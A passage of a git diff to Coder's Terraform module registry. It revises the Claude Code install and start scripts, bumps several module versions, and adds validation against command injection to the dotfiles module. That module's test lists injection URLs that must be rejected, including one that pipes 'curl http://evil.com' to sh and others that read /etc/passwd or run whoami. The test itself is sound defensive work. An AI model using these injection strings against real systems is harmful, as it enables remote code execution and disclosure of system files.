+ assert { + condition = coder_env.claude_api_key[0].value == "test-api-key-xyz" + error_message = "CLAUDE_API_KEY should use the provided API key when aibridge is disabled" + } + + assert { + condition = length(coder_env.anthropic_base_url) == 0 + error_message = "ANTHROPIC_BASE_URL should not be set when aibridge is disabled" + } +} + +run "test_no_api_key_no_env" { + command = plan + + variables { + agent_id = "test-agent-no-key" + workdir = "/home/coder/test" + enable_aibridge = false + } + + assert { + condition = length(coder_env.claude_api_key) == 0 + error_message = "CLAUDE_API_KEY should not be created when no API key is provided and aibridge is disabled" + } +} diff --git a/registry/coder/modules/claude-code/scripts/install.sh b/registry/coder/modules/claude-code/scripts/install.sh index 5b9584cb..0a2ba703 100644 --- a/registry/coder/modules/claude-code/scripts/install.sh +++ b/registry/coder/modules/claude-code/scripts/install.sh @@ -12,12 +12,18 @@ ARG_CLAUDE_CODE_VERSION=${ARG_CLAUDE_CODE_VERSION:-} ARG_WORKDIR=${ARG_WORKDIR:-"$HOME"} ARG_INSTALL_CLAUDE_CODE=${ARG_INSTALL_CLAUDE_CODE:-} ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"} +ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}" +ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}" ARG_INSTALL_VIA_NPM=${ARG_INSTALL_VIA_NPM:-false} ARG_REPORT_TASKS=${ARG_REPORT_TASKS:-true} ARG_MCP_APP_STATUS_SLUG=${ARG_MCP_APP_STATUS_SLUG:-} ARG_MCP=$(echo -n "${ARG_MCP:-}" | base64 -d) +ARG_MCP_CONFIG_REMOTE_PATH=$(echo -n "${ARG_MCP_CONFIG_REMOTE_PATH:-}" | base64 -d) ARG_ALLOWED_TOOLS=${ARG_ALLOWED_TOOLS:-} ARG_DISALLOWED_TOOLS=${ARG_DISALLOWED_TOOLS:-} +ARG_ENABLE_AIBRIDGE=${ARG_ENABLE_AIBRIDGE:-false} + +export PATH="$ARG_CLAUDE_BINARY_PATH:$PATH" echo "--------------------------------" @@ -29,44 +35,71 @@ printf "ARG_INSTALL_VIA_NPM: %s\n" "$ARG_INSTALL_VIA_NPM" printf "ARG_REPORT_TASKS: %s\n" "$ARG_REPORT_TASKS" printf "ARG_MCP_APP_STATUS_SLUG: %s\n" "$ARG_MCP_APP_STATUS_SLUG" printf "ARG_MCP: %s\n" "$ARG_MCP" +printf "ARG_MCP_CONFIG_REMOTE_PATH: %s\n" "$ARG_MCP_CONFIG_REMOTE_PATH" printf "ARG_ALLOWED_TOOLS: %s\n" "$ARG_ALLOWED_TOOLS" printf "ARG_DISALLOWED_TOOLS: %s\n" "$ARG_DISALLOWED_TOOLS" +printf "ARG_ENABLE_AIBRIDGE: %s\n" "$ARG_ENABLE_AIBRIDGE" echo "--------------------------------" +function add_mcp_servers() { + local mcp_json="$1" + local source_desc="$2" + + while IFS= read -r server_name && IFS= read -r server_json; do + echo "------------------------" + echo "Executing: claude mcp add-json \"$server_name\" '$server_json' ($source_desc)" + claude mcp add-json "$server_name" "$server_json" || echo "Warning: Failed to add MCP server '$server_name', continuing..." + echo "------------------------" + echo "" + done < <(echo "$mcp_json" | jq -r '.mcpServers | to_entries[] | .key, (.value | @json)') +} + +function add_path_to_shell_profiles() { + local path_dir="$1" + + for profile in "$HOME/.profile" "$HOME/.bash_profile" "$HOME/.bashrc" "$HOME/.zprofile" "$HOME/.zshrc"; do + if [ -f "$profile" ]; then + if ! grep -q "$path_dir" "$profile" 2> /dev/null; then + echo "export PATH=\"\$PATH:$path_dir\"" >> "$profile" + echo "Added $path_dir to $profile" + fi + fi + done + + local fish_config="$HOME/.config/fish/config.fish" + if [ -f "$fish_config" ]; then + if ! grep -q "$path_dir" "$fish_config" 2> /dev/null; then + echo "fish_add_path $path_dir" >> "$fish_config" + echo "Added $path_dir to $fish_config" + fi + fi +} + function ensure_claude_in_path() { - if [ -z "${CODER_SCRIPT_BIN_DIR:-}" ]; then - echo "CODER_SCRIPT_BIN_DIR not set, skipping PATH setup" + local CLAUDE_BIN="" + if command -v claude > /dev/null 2>&1; then + CLAUDE_BIN=$(command -v claude) + elif [ -x "$ARG_CLAUDE_BINARY_PATH/claude" ]; then + CLAUDE_BIN="$ARG_CLAUDE_BINARY_PATH/claude" + elif [ -x "$HOME/.local/bin/claude" ]; then + CLAUDE_BIN="$HOME/.local/bin/claude" + fi + + if [ -z "$CLAUDE_BIN" ] || [ ! -x "$CLAUDE_BIN" ]; then + echo "Warning: Could not find claude binary" return fi - if [ ! -e "$CODER_SCRIPT_BIN_DIR/claude" ]; then - local CLAUDE_BIN="" - if command -v claude > /dev/null 2>&1; then - CLAUDE_BIN=$(command -v claude) - elif [ -x "$ARG_CLAUDE_BINARY_PATH/claude" ]; then - CLAUDE_BIN="$ARG_CLAUDE_BINARY_PATH/claude" - elif [ -x "$HOME/.local/bin/claude" ]; then - CLAUDE_BIN="$HOME/.local/bin/claude" - fi + local CLAUDE_DIR + CLAUDE_DIR=$(dirname "$CLAUDE_BIN") - if [ -n "$CLAUDE_BIN" ] && [ -x "$CLAUDE_BIN" ]; then - ln -s "$CLAUDE_BIN" "$CODER_SCRIPT_BIN_DIR/claude" - echo "Created symlink: $CODER_SCRIPT_BIN_DIR/claude -> $CLAUDE_BIN" - else - echo "Warning: Could not find claude binary to symlink" - fi - else - echo "Claude already available in CODER_SCRIPT_BIN_DIR" + if [ -n "${CODER_SCRIPT_BIN_DIR:-}" ] && [ ! -e "$CODER_SCRIPT_BIN_DIR/claude" ]; then + ln -s "$CLAUDE_BIN" "$CODER_SCRIPT_BIN_DIR/claude" + echo "Created symlink: $CODER_SCRIPT_BIN_DIR/claude -> $CLAUDE_BIN" fi - local marker="# Added by claude-code module" - for profile in "$HOME/.bashrc" "$HOME/.zshrc" "$HOME/.profile"; do - if [ -f "$profile" ] && ! grep -q "$marker" "$profile" 2> /dev/null; then - printf "\n%s\nexport PATH=\"%s:\$PATH\"\n" "$marker" "$CODER_SCRIPT_BIN_DIR" >> "$profile" - echo "Added $CODER_SCRIPT_BIN_DIR to PATH in $profile" - fi - done + add_path_to_shell_profiles "$CLAUDE_DIR" } function install_claude_code_cli() { @@ -76,8 +109,9 @@ function install_claude_code_cli() { return fi - # Use npm when install_via_npm is true or for specific version pinning - if [ "$ARG_INSTALL_VIA_NPM" = "true" ] || { [ -n "$ARG_CLAUDE_CODE_VERSION" ] && [ "$ARG_CLAUDE_CODE_VERSION" != "latest" ]; }; then + # Use npm when install_via_npm is true + if [ "$ARG_INSTALL_VIA_NPM" = "true" ]; then + echo "WARNING: npm installation method will be deprecated and removed in the next major release." echo "Installing Claude Code via npm (version: $ARG_CLAUDE_CODE_VERSION)" npm install -g "@anthropic-ai/claude-code@$ARG_CLAUDE_CODE_VERSION" echo "Installed Claude Code via npm. Version: $(claude --version || echo 'unknown')" @@ -110,13 +144,25 @@ function setup_claude_configurations() { if [ "$ARG_MCP" != "" ]; then ( cd "$ARG_WORKDIR" - while IFS= read -r server_name && IFS= read -r server_json; do - echo "------------------------" - echo "Executing: claude mcp add-json \"$server_name\" '$server_json' (in $ARG_WORKDIR)" - claude mcp add-json "$server_name" "$server_json" || echo "Warning: Failed to add MCP server '$server_name', continuing..." - echo "------------------------" - echo "" - done < <(echo "$ARG_MCP" | jq -r '.mcpServers | to_entries[] | .key, (.value | @json)') + add_mcp_servers "$ARG_MCP" "in $ARG_WORKDIR" + ) + fi + + if [ -n "$ARG_MCP_CONFIG_REMOTE_PATH" ] && [ "$ARG_MCP_CONFIG_REMOTE_PATH" != "[]" ]; then + ( + cd "$ARG_WORKDIR" + for url in $(echo "$ARG_MCP_CONFIG_REMOTE_PATH" | jq -r '.[]'); do + echo "Fetching MCP configuration from: $url" + mcp_json=$(curl -fsSL "$url") || { + echo "Warning: Failed to fetch MCP configuration from '$url', continuing..." + continue + } + if ! echo "$mcp_json" | jq -e '.mcpServers' > /dev/null 2>&1; then + echo "Warning: Invalid MCP configuration from '$url' (missing mcpServers), continuing..." + continue + fi + add_mcp_servers "$mcp_json" "from $url" + done ) fi @@ -133,8 +179,8 @@ function setup_claude_configurations() { function configure_standalone_mode() { echo "Configuring Claude Code for standalone mode..." - if [ -z "${CLAUDE_API_KEY:-}" ]; then - echo "Note: CLAUDE_API_KEY not set, skipping authentication setup" + if [ -z "${CLAUDE_API_KEY:-}" ] && [ "$ARG_ENABLE_AIBRIDGE" = "false" ]; then + echo "Note: Neither claude_api_key nor enable_aibridge is set, skipping authentication setup" return fi @@ -147,8 +193,7 @@ function configure_standalone_mode() { if [ -f "$claude_config" ]; then echo "Updating existing Claude configuration at $claude_config" - jq --arg apikey "${CLAUDE_API_KEY:-}" \ - --arg workdir "$ARG_WORKDIR" \ + jq --arg workdir "$ARG_WORKDIR" --arg apikey "${CLAUDE_API_KEY:-}" \ '.autoUpdaterStatus = "disabled" | .bypassPermissionsModeAccepted = true | .hasAcknowledgedCostThreshold = true | diff --git a/registry/coder/modules/claude-code/scripts/start.sh b/registry/coder/modules/claude-code/scripts/start.sh index c3c32020..2df8fce1 100644 --- a/registry/coder/modules/claude-code/scripts/start.sh +++ b/registry/coder/modules/claude-code/scripts/start.sh @@ -2,6 +2,12 @@ set -euo pipefail +ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"} +ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}" +ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}" + +export PATH="$ARG_CLAUDE_BINARY_PATH:$PATH" + command_exists() { command -v "$1" > /dev/null 2>&1 } @@ -14,8 +20,9 @@ ARG_WORKDIR=${ARG_WORKDIR:-"$HOME"} ARG_AI_PROMPT=$(echo -n "${ARG_AI_PROMPT:-}" | base64 -d) ARG_REPORT_TASKS=${ARG_REPORT_TASKS:-true} ARG_ENABLE_BOUNDARY=${ARG_ENABLE_BOUNDARY:-false} -ARG_BOUNDARY_VERSION=${ARG_BOUNDARY_VERSION:-"main"} +ARG_BOUNDARY_VERSION=${ARG_BOUNDARY_VERSION:-"latest"} ARG_COMPILE_FROM_SOURCE=${ARG_COMPILE_FROM_SOURCE:-false} +ARG_USE_BOUNDARY_DIRECTLY=${ARG_USE_BOUNDARY_DIRECTLY:-false} ARG_CODER_HOST=${ARG_CODER_HOST:-} echo "--------------------------------" @@ -30,12 +37,13 @@ printf "ARG_REPORT_TASKS: %s\n" "$ARG_REPORT_TASKS" printf "ARG_ENABLE_BOUNDARY: %s\n" "$ARG_ENABLE_BOUNDARY" printf "ARG_BOUNDARY_VERSION: %s\n" "$ARG_BOUNDARY_VERSION" printf "ARG_COMPILE_FROM_SOURCE: %s\n" "$ARG_COMPILE_FROM_SOURCE" +printf "ARG_USE_BOUNDARY_DIRECTLY: %s\n" "$ARG_USE_BOUNDARY_DIRECTLY" printf "ARG_CODER_HOST: %s\n" "$ARG_CODER_HOST" echo "--------------------------------" function install_boundary() { - if [ "${ARG_COMPILE_FROM_SOURCE:-false}" = "true" ]; then + if [ "$ARG_COMPILE_FROM_SOURCE" = "true" ]; then # Install boundary by compiling from source echo "Compiling boundary from source (version: $ARG_BOUNDARY_VERSION)" @@ -52,14 +60,16 @@ function install_boundary() { # Build the binary make build - # Install binary and wrapper script (optional) + # Install binary sudo cp boundary /usr/local/bin/ - sudo cp scripts/boundary-wrapper.sh /usr/local/bin/boundary-run - sudo chmod +x /usr/local/bin/boundary-run - else + sudo chmod +x /usr/local/bin/boundary + elif [ "$ARG_USE_BOUNDARY_DIRECTLY" = "true" ]; then # Install boundary using official install script echo "Installing boundary using official install script (version: $ARG_BOUNDARY_VERSION)" curl -fsSL https://raw.githubusercontent.com/coder/boundary/main/install.sh | bash -s -- --version "$ARG_BOUNDARY_VERSION" + else + # Use coder boundary subcommand (default) - no installation needed + echo "Using coder boundary subcommand (provided by Coder)" fi } @@ -212,15 +222,30 @@ function start_agentapi() { printf "Running claude code with args: %s\n" "$(printf '%q ' "${ARGS[@]}")" - if [ "${ARG_ENABLE_BOUNDARY:-false}" = "true" ]; then + if [ "$ARG_ENABLE_BOUNDARY" = "true" ]; then install_boundary printf "Starting with coder boundary enabled\n" BOUNDARY_ARGS+=() + # Determine which boundary command to use + if [ "$ARG_COMPILE_FROM_SOURCE" = "true" ] || [ "$ARG_USE_BOUNDARY_DIRECTLY" = "true" ]; then + # Use boundary binary directly (from compilation or release installation) + BOUNDARY_CMD=("boundary") + else + # Use coder boundary subcommand (default) + # Copy coder binary to coder-no-caps. Copying strips CAP_NET_ADMIN capabilities + # from the binary, which is necessary because boundary doesn't work with + # privileged binaries (you can't launch privileged binaries inside network + # namespaces unless you have sys_admin). + CODER_NO_CAPS="$(dirname "$(which coder)")/coder-no-caps" + cp "$(which coder)" "$CODER_NO_CAPS" + BOUNDARY_CMD=("$CODER_NO_CAPS" "boundary") + fi + agentapi server --type claude --term-width 67 --term-height 1190 -- \ - boundary-run "${BOUNDARY_ARGS[@]}" -- \ + "${BOUNDARY_CMD[@]}" "${BOUNDARY_ARGS[@]}" -- \ claude "${ARGS[@]}" else agentapi server --type claude --term-width 67 --term-height 1190 -- claude "${ARGS[@]}" diff --git a/registry/coder/modules/cursor/README.md b/registry/coder/modules/cursor/README.md index 7a870ac0..628950f5 100644 --- a/registry/coder/modules/cursor/README.md +++ b/registry/coder/modules/cursor/README.md @@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder) module "cursor" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/cursor/coder" - version = "1.4.0" + version = "1.4.1" agent_id = coder_agent.main.id } ``` @@ -29,7 +29,7 @@ module "cursor" { module "cursor" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/cursor/coder" - version = "1.4.0" + version = "1.4.1" agent_id = coder_agent.main.id folder = "/home/coder/project" } @@ -45,7 +45,7 @@ The following example configures Cursor to use the GitHub MCP server with authen module "cursor" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/cursor/coder" - version = "1.4.0" + version = "1.4.1" agent_id = coder_agent.main.id folder = "/home/coder/project" mcp = jsonencode({ diff --git a/registry/coder/modules/cursor/main.tf b/registry/coder/modules/cursor/main.tf index 0c0f8aa2..a33a2cc3 100644 --- a/registry/coder/modules/cursor/main.tf +++ b/registry/coder/modules/cursor/main.tf @@ -66,7 +66,7 @@ locals { module "vscode-desktop-core" { source = "registry.coder.com/coder/vscode-desktop-core/coder" - version = "1.0.0" + version = "1.0.2" agent_id = var.agent_id diff --git a/registry/coder/modules/dotfiles/README.md b/registry/coder/modules/dotfiles/README.md index e35033a6..9cb6a45d 100644 --- a/registry/coder/modules/dotfiles/README.md +++ b/registry/coder/modules/dotfiles/README.md @@ -18,7 +18,7 @@ Under the hood, this module uses the [coder dotfiles](https://coder.com/docs/v2/ module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.3.0" agent_id = coder_agent.example.id } ``` @@ -31,7 +31,7 @@ module "dotfiles" { module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.3.0" agent_id = coder_agent.example.id } ``` @@ -42,7 +42,7 @@ module "dotfiles" { module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.3.0" agent_id = coder_agent.example.id user = "root" } @@ -54,14 +54,14 @@ module "dotfiles" { module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.3.0" agent_id = coder_agent.example.id } module "dotfiles-root" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.3.0" agent_id = coder_agent.example.id user = "root" dotfiles_uri = module.dotfiles.dotfiles_uri @@ -76,7 +76,7 @@ You can set a default dotfiles repository for all users by setting the `default_ module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.3.0" agent_id = coder_agent.example.id default_dotfiles_uri = "https://github.com/coder/dotfiles" } diff --git a/registry/coder/modules/dotfiles/main.test.ts b/registry/coder/modules/dotfiles/main.test.ts index 8c82cd1e..90fe91c8 100644 --- a/registry/coder/modules/dotfiles/main.test.ts +++ b/registry/coder/modules/dotfiles/main.test.ts @@ -12,20 +12,47 @@ describe("dotfiles", async () => { agent_id: "foo", }); - it("default output", async () => { + it("default output is empty string", async () => { const state = await runTerraformApply(import.meta.dir, { agent_id: "foo", }); expect(state.outputs.dotfiles_uri.value).toBe(""); }); - it("set a default dotfiles_uri", async () => { - const default_dotfiles_uri = "foo"; - const state = await runTerraformApply(import.meta.dir, { - agent_id: "foo", - default_dotfiles_uri, - }); - expect(state.outputs.dotfiles_uri.value).toBe(default_dotfiles_uri); + it("accepts valid git URL formats", async () => { + const validUrls = [ + "https://github.com/coder/dotfiles", + "https://github.com/coder/dotfiles.git", + "git@github.com:coder/dotfiles.git", + "git://github.com/coder/dotfiles.git", + "ssh://git@github.com/coder/dotfiles.git", + ]; + for (const url of validUrls) { + const state = await runTerraformApply(import.meta.dir, { + agent_id: "foo", + dotfiles_uri: url, + }); + expect(state.outputs.dotfiles_uri.value).toBe(url); + } + }); + + it("rejects invalid or malicious URLs", async () => { + const invalidUrls = [ + "https://github.com/user/repo; curl http://evil.com | sh", + "https://github.com/$(whoami)/repo", + "https://github.com/`id`/repo", + "https://github.com/user/repo|cat /etc/passwd", + "file:///etc/passwd", + "not-a-valid-url", + ]; + for (const url of invalidUrls) { + await expect( + runTerraformApply(import.meta.dir, { + agent_id: "foo", + dotfiles_uri: url, + }), + ).rejects.toThrow(); + } }); it("set custom order for coder_parameter", async () => { diff --git a/registry/coder/modules/dotfiles/main.tf b/registry/coder/modules/dotfiles/main.tf index 9dfb7240..40b1a4e0 100644 --- a/registry/coder/modules/dotfiles/main.tf +++ b/registry/coder/modules/dotfiles/main.tf @@ -36,19 +36,40 @@ variable "default_dotfiles_uri" { type = string description = "The default dotfiles URI if the workspace user does not provide one" default = "" + + validation { + condition = ( + var.default_dotfiles_uri == "" || + can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.default_dotfiles_uri)) + ) + error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters." + } } variable "dotfiles_uri" { type = string description = "The URL to a dotfiles repository. (optional, when set, the user isn't prompted for their dotfiles)" + default = null - default = null + validation { + condition = ( + var.dotfiles_uri == null || + var.dotfiles_uri == "" || + can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.dotfiles_uri)) + ) + error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters." + } } variable "user" { type = string description = "The name of the user to apply the dotfiles to. (optional, applies to the current user by default)" default = null + + validation { + condition = var.user == null || can(regex("^[a-zA-Z_][a-zA-Z0-9_-]*$", var.user)) + error_message = "Must be a valid username without special characters." + } } variable "coder_parameter_order" { @@ -63,6 +84,12 @@ variable "manual_update" { default = false } +variable "post_clone_script" { + description = "Custom script to run after applying dotfiles. Runs every time, even if dotfiles were already applied." + type = string + default = null +} + data "coder_parameter" "dotfiles_uri" { count = var.dotfiles_uri == null ? 1 : 0 type = "string" @@ -73,18 +100,25 @@ data "coder_parameter" "dotfiles_uri" { description = var.description mutable = true icon = "/icon/dotfiles.svg" + + validation { + regex = "^$|^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$" + error = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters." + } } locals { - dotfiles_uri = var.dotfiles_uri != null ? var.dotfiles_uri : data.coder_parameter.dotfiles_uri[0].value - user = var.user != null ? var.user : "" + dotfiles_uri = var.dotfiles_uri != null ? var.dotfiles_uri : data.coder_parameter.dotfiles_uri[0].value + user = var.user != null ? var.user : "" + encoded_post_clone_script = var.post_clone_script != null ? base64encode(var.post_clone_script) : "" } resource "coder_script" "dotfiles" { agent_id = var.agent_id script = templatefile("${path.module}/run.sh", { DOTFILES_URI : local.dotfiles_uri, - DOTFILES_USER : local.user + DOTFILES_USER : local.user, + POST_CLONE_SCRIPT : local.encoded_post_clone_script }) display_name = "Dotfiles" icon = "/icon/dotfiles.svg" @@ -101,7 +135,8 @@ resource "coder_app" "dotfiles" { group = var.group command = templatefile("${path.module}/run.sh", { DOTFILES_URI : local.dotfiles_uri, - DOTFILES_USER : local.user + DOTFILES_USER : local.user, + POST_CLONE_SCRIPT : local.encoded_post_clone_script }) } diff --git a/registry/coder/modules/dotfiles/run.sh b/registry/coder/modules/dotfiles/run.sh index 91229589..49ab3ec5 100644 --- a/registry/coder/modules/dotfiles/run.sh +++ b/registry/coder/modules/dotfiles/run.sh @@ -5,6 +5,19 @@ set -euo pipefail DOTFILES_URI="${DOTFILES_URI}" DOTFILES_USER="${DOTFILES_USER}" +# Validate DOTFILES_URI to prevent command injection (defense in depth) +if [ -n "$DOTFILES_URI" ]; then + # shellcheck disable=SC2250 + if [[ "$DOTFILES_URI" =~ [^a-zA-Z0-9._/:@-] ]]; then + echo "ERROR: DOTFILES_URI contains invalid characters" >&2 + exit 1 + fi + if ! [[ "$DOTFILES_URI" =~ ^(https?://|ssh://|git@|git://) ]]; then + echo "ERROR: DOTFILES_URI must be a valid repository URL (https://, http://, ssh://, git@, or git://)" >&2 + exit 1 + fi +fi + # shellcheck disable=SC2157 if [ -n "$${DOTFILES_URI// }" ]; then if [ -z "$DOTFILES_USER" ]; then @@ -16,12 +29,28 @@ if [ -n "$${DOTFILES_URI// }" ]; then if [ "$DOTFILES_USER" = "$USER" ]; then coder dotfiles "$DOTFILES_URI" -y 2>&1 | tee ~/.dotfiles.log else - # The `eval echo ~"$DOTFILES_USER"` part is used to dynamically get the home directory of the user, see https://superuser.com/a/484280 - # eval echo ~coder -> "/home/coder" - # eval echo ~root -> "/root" + if command -v getent > /dev/null 2>&1; then + DOTFILES_USER_HOME=$(getent passwd "$DOTFILES_USER" | cut -d: -f6) + else + DOTFILES_USER_HOME=$(awk -F: -v user="$DOTFILES_USER" '$1 == user {print $6}' /etc/passwd) + fi + if [ -z "$DOTFILES_USER_HOME" ]; then + echo "ERROR: Could not determine home directory for user $DOTFILES_USER" >&2 + exit 1 + fi - CODER_BIN=$(which coder) - DOTFILES_USER_HOME=$(eval echo ~"$DOTFILES_USER") - sudo -u "$DOTFILES_USER" sh -c "'$CODER_BIN' dotfiles '$DOTFILES_URI' -y 2>&1 | tee '$DOTFILES_USER_HOME'/.dotfiles.log" + CODER_BIN=$(command -v coder) + sudo -u "$DOTFILES_USER" "$CODER_BIN" dotfiles "$DOTFILES_URI" -y 2>&1 | tee "$DOTFILES_USER_HOME/.dotfiles.log" fi fi + +POST_CLONE_SCRIPT="${POST_CLONE_SCRIPT}" + +if [ -n "$POST_CLONE_SCRIPT" ]; then + echo "Running post-clone script..." + POST_CLONE_TMP=$(mktemp) + echo "$POST_CLONE_SCRIPT" | base64 -d > "$POST_CLONE_TMP" + chmod +x "$POST_CLONE_TMP" + $POST_CLONE_TMP + rm "$POST_CLONE_TMP" +fi diff --git a/registry/coder/modules/git-config/README.md b/registry/coder/modules/git-config/README.md index 753e8de3..155c3790 100644 --- a/registry/coder/modules/git-config/README.md +++ b/registry/coder/modules/git-config/README.md @@ -14,7 +14,7 @@ Runs a script that updates git credentials in the workspace to match the user's module "git-config" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/git-config/coder" - version = "1.0.32" + version = "1.0.33" agent_id = coder_agent.main.id } ``` @@ -29,7 +29,7 @@ TODO: Add screenshot module "git-config" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/git-config/coder" - version = "1.0.32" + version = "1.0.33" agent_id = coder_agent.main.id allow_email_change = true } @@ -43,7 +43,7 @@ TODO: Add screenshot module "git-config" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/git-config/coder" - version = "1.0.32" + version = "1.0.33" agent_id = coder_agent.main.id allow_username_change = false allow_email_change = false diff --git a/registry/coder/modules/git-config/main.tf b/registry/coder/modules/git-config/main.tf index e8fea8fd..2d9f5440 100644 --- a/registry/coder/modules/git-config/main.tf +++ b/registry/coder/modules/git-config/main.tf @@ -44,6 +44,9 @@ data "coder_parameter" "user_email" { description = "Git user.email to be used for commits. Leave empty to default to Coder user's email." display_name = "Git config user.email" mutable = true + styling = jsonencode({ + placeholder = data.coder_workspace_owner.me.email + }) } data "coder_parameter" "username" { @@ -55,6 +58,9 @@ data "coder_parameter" "username" { description = "Git user.name to be used for commits. Leave empty to default to Coder user's Full Name." display_name = "Full Name for Git config" mutable = true + styling = jsonencode({ + placeholder = coalesce(data.coder_workspace_owner.me.full_name, data.coder_workspace_owner.me.name) + }) } resource "coder_env" "git_author_name" { diff --git a/registry/coder/modules/jetbrains/README.md b/registry/coder/modules/jetbrains/README.md index cf97d127..7fa8f674 100644 --- a/registry/coder/modules/jetbrains/README.md +++ b/registry/coder/modules/jetbrains/README.md @@ -42,7 +42,7 @@ module "jetbrains" { version = "1.3.0" agent_id = coder_agent.main.id folder = "/home/coder/project" - default = ["PY", "IU"] # Pre-configure GoLand and IntelliJ IDEA + default = ["PY", "IU"] # Pre-configure PyCharm and IntelliJ IDEA } ``` diff --git a/registry/coder/modules/jupyterlab/README.md b/registry/coder/modules/jupyterlab/README.md index b4e812fe..0e2b7dcf 100644 --- a/registry/coder/modules/jupyterlab/README.md +++ b/registry/coder/modules/jupyterlab/README.md @@ -16,7 +16,7 @@ A module that adds JupyterLab in your Coder template. module "jupyterlab" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/jupyterlab/coder" - version = "1.2.1" + version = "1.2.2" agent_id = coder_agent.main.id } ``` @@ -29,7 +29,7 @@ JupyterLab is automatically configured to work with Coder's iframe embedding. Fo module "jupyterlab" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/jupyterlab/coder" - version = "1.2.1" + version = "1.2.2" agent_id = coder_agent.main.id config = { ServerApp = { diff --git a/registry/coder/modules/jupyterlab/main.test.ts b/registry/coder/modules/jupyterlab/main.test.ts index bab8296e..681188ca 100644 --- a/registry/coder/modules/jupyterlab/main.test.ts +++ b/registry/coder/modules/jupyterlab/main.test.ts @@ -77,7 +77,7 @@ describe("jupyterlab", async () => { expect(output.exitCode).toBe(1); expect(output.stdout).toEqual([ "Checking for a supported installer", - "No valid installer is not installed", + "No supported installer found.", "Please install pipx or uv in your Dockerfile/VM image before running this script", ]); }); diff --git a/registry/coder/modules/jupyterlab/run.sh b/registry/coder/modules/jupyterlab/run.sh index be686e55..5edf35ef 100644 --- a/registry/coder/modules/jupyterlab/run.sh +++ b/registry/coder/modules/jupyterlab/run.sh @@ -14,7 +14,7 @@ check_available_installer() { INSTALLER="uv" return fi - echo "No valid installer is not installed" + echo "No supported installer found." echo "Please install pipx or uv in your Dockerfile/VM image before running this script" exit 1 } diff --git a/registry/coder/modules/kasmvnc/README.md b/registry/coder/modules/kasmvnc/README.md index 7fcc7fb0..2f9fff7a 100644 --- a/registry/coder/modules/kasmvnc/README.md +++ b/registry/coder/modules/kasmvnc/README.md @@ -14,7 +14,7 @@ Automatically install [KasmVNC](https://kasmweb.com/kasmvnc) in a workspace, and module "kasmvnc" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/kasmvnc/coder" - version = "1.2.7" + version = "1.3.0" agent_id = coder_agent.example.id desktop_environment = "xfce" subdomain = true diff --git a/registry/coder/modules/kasmvnc/main.tf b/registry/coder/modules/kasmvnc/main.tf index 4635f612..66324b37 100644 --- a/registry/coder/modules/kasmvnc/main.tf +++ b/registry/coder/modules/kasmvnc/main.tf @@ -54,6 +54,15 @@ variable "subdomain" { description = "Is subdomain sharing enabled in your cluster?" } +variable "share" { + type = string + default = "owner" + validation { + condition = var.share == "owner" || var.share == "authenticated" || var.share == "public" + error_message = "Incorrect value. Please set either 'owner', 'authenticated', or 'public'." + } +} + resource "coder_script" "kasm_vnc" { agent_id = var.agent_id display_name = "KasmVNC" @@ -75,7 +84,7 @@ resource "coder_app" "kasm_vnc" { url = "http://localhost:${var.port}" icon = "/icon/kasmvnc.svg" subdomain = var.subdomain - share = "owner" + share = var.share order = var.order group = var.group diff --git a/registry/coder/modules/kiro/README.md b/registry/coder/modules/kiro/README.md index 23c17885..51fbe9ae 100644 --- a/registry/coder/modules/kiro/README.md +++ b/registry/coder/modules/kiro/README.md @@ -18,7 +18,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder) module "kiro" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/kiro/coder" - version = "1.2.0" + version = "1.2.1" agent_id = coder_agent.main.id } ``` @@ -31,7 +31,7 @@ module "kiro" { module "kiro" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/kiro/coder" - version = "1.2.0" + version = "1.2.1" agent_id = coder_agent.main.id folder = "/home/coder/project" } @@ -47,7 +47,7 @@ The following example configures Kiro to use the GitHub MCP server with authenti module "kiro" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/kiro/coder" - version = "1.2.0" + version = "1.2.1" agent_id = coder_agent.main.id folder = "/home/coder/project" mcp = jsonencode({ diff --git a/registry/coder/modules/kiro/main.tf b/registry/coder/modules/kiro/main.tf index c48364bc..84b44b34 100644 --- a/registry/coder/modules/kiro/main.tf +++ b/registry/coder/modules/kiro/main.tf @@ -53,7 +53,7 @@ locals { module "vscode-desktop-core" { source = 